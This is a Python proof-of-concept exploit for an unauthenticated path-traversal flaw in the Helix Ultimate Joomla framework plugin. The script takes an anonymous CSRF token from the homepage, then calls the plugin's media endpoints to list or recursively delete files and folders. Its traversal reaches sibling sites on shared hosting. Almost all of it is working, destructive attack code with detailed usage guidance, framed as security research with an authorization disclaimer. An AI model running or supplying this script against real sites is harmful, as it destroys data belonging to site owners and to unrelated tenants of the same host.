#!/usr/bin/env python3 """ Helix Ultimate Framework (JoomShaper) - Unauthenticated Path-Traversal Arbitrary File/Folder Read+Delete -> Guaranteed Full Site DoS, cross-tenant on shared hosting Affected : plg_system_helixultimate <= 2.2.6 (current, unpatched as of 2026-07) Author : Amin Isayev / Proxima Cyber Security VULNERABILITY: option=com_ajax&helix=ultimate&request=task&action=delete-media (write/delete) option=com_ajax&helix=ultimate&request=task&action=view-media (read/list) -> plugins/system/helixultimate/src/Platform/Media.php::deleteMedia()/getFolders() Only checks Session::checkToken() (CSRF). No authorise()/login check. 'path' is resolved as JPATH_ROOT + path. Joomla's PATH input filter (InputFilter::cleanPath()) does NOT block a single '/../' component - a value like '/../sibling_dir' survives the filter intact (one dot-run right after the leading '/' is allowed by the regex; only *chained* '../../..' gets blocked). This means the bug reaches one directory level above JPATH_ROOT, and arbitrary depth below that level - i.e. sibling directories of the Joomla install, not just files inside it. On shared hosting where multiple sites share one OS user (cPanel addon domains, Plesk, etc.) this lets an anonymous visitor to ONE site read/delete files belonging to every OTHER site under the same account. type=folder recursively deletes a directory's contents. NOTE: this is a DoS bug, NOT RCE. The "delete configuration.php to re-expose the Joomla installer" theory was tested live and disproved: if installation/ exists, Joomla core redirects ALL requests (including this exploit's own request) to the installer before any plugin code runs - so the two states never chain. See readme.md, "RCE escalation - tested and disproved". This script therefore does NOT include a configuration.php-deletion mode - deleting it only bricks the target with no escalation benefit, so that action was removed to avoid unnecessary damage. PATH SYNTAX - READ THIS BEFORE USING --list / --delete: The server does a *plain string concatenation*: JPATH_ROOT + path. It is NOT "change directory to this absolute path". This means: - CORRECT: a path relative to the Joomla webroot, always starting with '/': --list /images --list /administrator --delete /images/some_test_file.txt - CORRECT (webroot escape): use a literal '/..' to go exactly one directory level above JPATH_ROOT, then continue normally - this is how you reach a sibling site's folder on shared hosting: --list /../sibling_domain.tld/public_html --delete /../sibling_domain.tld/public_html/some_file.txt - WRONG: pasting the target's full absolute server path (e.g. copied from a previous --list result), such as: --list /home/someuser/domains/example.com/administrator This gets appended AFTER JPATH_ROOT, producing a nonsense nested path like ".../public_html/home/someuser/domains/example.com/administrator" that does not exist on disk -> the server correctly reports 0 folders/0 images. This is NOT a sign that the path is protected; it is just the wrong argument. - MISLEADING TRAP: an absolute path *ending in a trailing slash*, e.g.: --list /home/someuser/domains/example.com/administrator/ Joomla's PATH filter rejects any string that ends in '/' (every segment must be followed by at least one more character), so the whole value is silently discarded and treated as an EMPTY path -> the server falls back to listing JPATH_ROOT itself (the site's own webroot root). This LOOKS like it "worked" (you get a real folder/image listing back) but it is actually just re-showing the default root, not the path you typed. Always double-check the returned 'path'/breadcrumb field in the response against what you expected before trusting a result. THIS SCRIPT IS DESTRUCTIVE. It will actually delete files/folders on the target. Use ONLY against systems you own or have explicit written authorization to test. Usage: # Safe-ish default: just prove it by deleting one attacker-chosen, non-critical path python3 helix_ultimate_delete_poc.py https://target.com --delete /images/some_test_file.txt # Recursive folder delete python3 helix_ultimate_delete_poc.py https://target.com --delete /some/folder --type folder # Read-only: list a path (supports the same traversal syntax, e.g. /../sibling_dir) python3 helix_ultimate_delete_poc.py https://target.com --list /../sibling_dir # Escape the webroot: delete something in a sibling directory (shared hosting) python3 helix_ultimate_delete_poc.py https://target.com --delete /../sibling_dir/file.txt """ import sys import re import argparse import requests import urllib3 urllib3.disable_warnings() TOKEN_RE = re.compile(r'csrf\.token"\s*:\s*"([a-f0-9]{32})"') HIDDEN_TOKEN_RE = re.compile(r'name="([a-f0-9]{32})"\s+value="1"') def get_anon_csrf_token(session, base_url): r = session.get(base_url, timeout=10, allow_redirects=True) m = TOKEN_RE.search(r.text) or HIDDEN_TOKEN_RE.search(r.text) if not m: return None return m.group(1) def detect_os(session, base_url): """ Best-effort OS fingerprint, using two independent signals: 1. The HTTP 'Server' response header (e.g. 'Apache/2.4.41 (Ubuntu)', 'nginx/1.18.0', 'Microsoft-IIS/10.0') - present on the plain homepage request, no exploit needed. 2. The path separator / drive-letter style in any absolute server path this vulnerability has already leaked back to you via --list (e.g. '/home/user/domains/...' = Linux/Unix, 'C:\\inetpub\\wwwroot\\...' = Windows). Pass a leaked path via `leaked_path=` to use this signal. Returns a short human-readable string; never raises. """ server_header = None try: r = session.head(base_url, timeout=10, allow_redirects=True) server_header = r.headers.get("Server") except requests.RequestException: pass return server_header def guess_os_from_path(path): if not path: return None if re.match(r'^[A-Za-z]:\\', path) or '\\' in path: return "Windows (drive-letter / backslash path style)" if path.startswith('/'): return "Linux/Unix (forward-slash absolute path style)" return None def delete_path(session, base_url, token, path, type_): endpoint = f"{base_url}/index.php" params = { "option": "com_ajax", "helix": "ultimate", "request": "task", "action": "delete-media", } data = { "path": path, "type": type_, token: "1", } r = session.post(endpoint, params=params, data=data, timeout=15) try: return r.json() except ValueError: return {"status": None, "raw": r.text[:300]} def list_path(session, base_url, token, path): endpoint = f"{base_url}/index.php" params = { "option": "com_ajax", "helix": "ultimate", "request": "task", "action": "view-media", } data = { "path": path, token: "1", } r = session.post(endpoint, params=params, data=data, timeout=15) try: return r.json() except ValueError: return {"status": None, "raw": r.text[:300]} def warn_if_suspicious_path(path): """Flag the two common mistakes: pasting an absolute server path, or one ending in '/' (which Joomla's PATH filter silently empties out).""" looks_absolute_server_path = path.count('/') > 2 and '/../' not in path and not path.startswith(('/images', '/administrator', '/components', '/media', '/modules', '/plugins', '/templates', '/tmp', '/cache', '/includes', '/language', '/layouts', '/libraries', '/cli', '/api')) if not path.startswith('/'): print("[!] Note: path has no leading '/'. The server does 'JPATH_ROOT' + path with NO") print(" separator in between, so a bare 'images' becomes '.../htmlimages' (garbage).") print(" Use a leading slash, e.g. /images") elif path.endswith('/') and path != '/': print("[!] Warning: path ends with '/'. Joomla's PATH filter REJECTS any value ending in") print(" '/' and silently replaces it with an EMPTY path - the server will fall back to") print(" listing/targeting JPATH_ROOT itself, NOT the path you typed. Drop the trailing '/'.") elif looks_absolute_server_path: print("[!] Warning: this looks like a full absolute SERVER path (e.g. copied from a") print(" previous --list result), not a path relative to the Joomla webroot. The server") print(" does JPATH_ROOT + path as plain string concatenation, so an absolute path here") print(" produces a nonsense nested directory that does not exist (0 results), NOT a") print(" real lookup of that absolute path. Use /path or /../sibling/path instead - see") print(" the 'PATH SYNTAX' section in this script's --help / docstring.") def main(): parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) parser.add_argument("target", help="Base URL of the target, e.g. https://target.com") parser.add_argument("--delete", metavar="PATH", help="Root-relative (or /../sibling) path to delete, e.g. /images/x.txt or /../otherdomain/config.php") parser.add_argument("--type", choices=["file", "folder"], default="file", help="Delete a file (default) or a whole folder (recursive)") parser.add_argument("--list", metavar="PATH", dest="list_path", help="Read-only: list folders/images at a root-relative (or /../sibling) path, e.g. /../otherdomain") args = parser.parse_args() if not args.delete and not args.list_path: parser.print_help() print("\n[!] Nothing to do - pass --delete or --list ") sys.exit(1) base_url = args.target.rstrip('/') session = requests.Session() session.verify = False session.headers.update({"User-Agent": "Mozilla/5.0"}) print(f"[*] Target: {base_url}") print("[*] Harvesting anonymous CSRF token from homepage (no login involved) ...") token = get_anon_csrf_token(session, base_url) if not token: print("[-] Could not extract csrf.token - aborting") sys.exit(1) print(f"[*] Token: {token}") server_header = detect_os(session, base_url) if server_header: print(f"[*] HTTP Server header: {server_header}") if args.list_path: print(f"\n[*] Listing (read-only): {args.list_path}") warn_if_suspicious_path(args.list_path) result = list_path(session, base_url, token, args.list_path) if result.get("status") is not True: print(f"[-] Listing failed or path not found. Raw response: {result}") else: echoed_path = result.get("path") if echoed_path in (None, "", "/") and args.list_path not in ("/", ""): print(f"[!] Server echoed back path={echoed_path!r} instead of your input - this is the") print(" 'trailing slash got emptied' trap (see warning above). You are looking at") print(" JPATH_ROOT's own root listing, not the path you intended.") folders = result.get("folders") or [] images = result.get("images") or [] print(f"\n[+] Folders ({len(folders)}):") if folders: for name in sorted(folders): print(f" {name}/") else: print(" (none)") print(f"\n[+] Images ({len(images)}), with resolved absolute server paths:") if images: for full_path in sorted(images): filename = full_path.rsplit('/', 1)[-1] print(f" {filename:<40} -> {full_path}") else: print(" (none)") print("\n[+] If this path is outside the Joomla webroot and still returns data,") print(" that confirms the traversal escapes JPATH_ROOT on this target.") path_os_guess = guess_os_from_path(images[0]) if images else None if path_os_guess: print(f"\n[*] OS guess from leaked absolute path style: {path_os_guess}") print(f" (sample path: {images[0]})") if args.delete: print(f"\n[*] Deleting {args.type}: {args.delete}") warn_if_suspicious_path(args.delete) result = delete_path(session, base_url, token, args.delete, args.type) print(f"[*] Response: {result}") if result.get("status") is True: print("[+] Delete reported as SUCCESSFUL by the server.") else: print("[-] Delete reported failed (path may not exist, or plugin not present/enabled).") if __name__ == "__main__": main()